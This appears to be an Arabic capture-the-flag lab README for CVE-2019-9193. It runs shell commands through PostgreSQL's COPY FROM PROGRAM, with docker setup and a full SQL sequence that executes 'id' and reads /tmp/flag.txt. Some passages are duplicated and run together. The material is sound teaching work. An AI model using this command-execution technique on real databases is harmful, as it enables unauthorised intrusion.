
يُحاكي هذا المختبر CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
يحاكي هذا المختبر الثغرة CVE-2019-9193 التي حدثت في PostgreSQL الإصدار 9.3 - 11.2، والتي تتيح للمستخدم الذي يتمتع بصلاحيات superuser أو دور pg_execute_server_program استخدام الأمر:
COPY ... FROM PROGRAM '<command>'
لتشغيل أوامر نظام التشغيل مباشرة، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE) إذا تمكن المهاجم من الوصول إلى قاعدة البيانات.
هذا المختبر يسمح لك باستخدام هذه الإمكانية لقراءة الملف:
/tmp/flag.txt
COPY FROM PROGRAM لتشغيل أوامر نظام التشغيل/tmp/flag.txtdocker compose build
docker compose up -d
ثم الاتصال بقاعدة البيانات:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
idCOPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
مثال على المخرجات:
flag{SECRET}
postgres مع التطبيقات الحقيقيةpg_execute_server_programيحاكي هذا المختبر CVE-2019-9193، وهي ثغرة في PostgreSQL الإصدار 9.3–11.2 تسمح باستخدام:
COPY ... FROM PROGRAM '<command>'
لتنفيذ أوامر نظام التشغيل عند تشغيلها بواسطة مستخدم superuser أو دور يحتوي على pg_execute_server_program.
مهمتك هي استغلال هذه الميزة لقراءة:
/tmp/flag.txt
COPY FROM PROGRAM لـ:
docker compose build
docker compose up -d
الاتصال عبر:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program دون داعٍ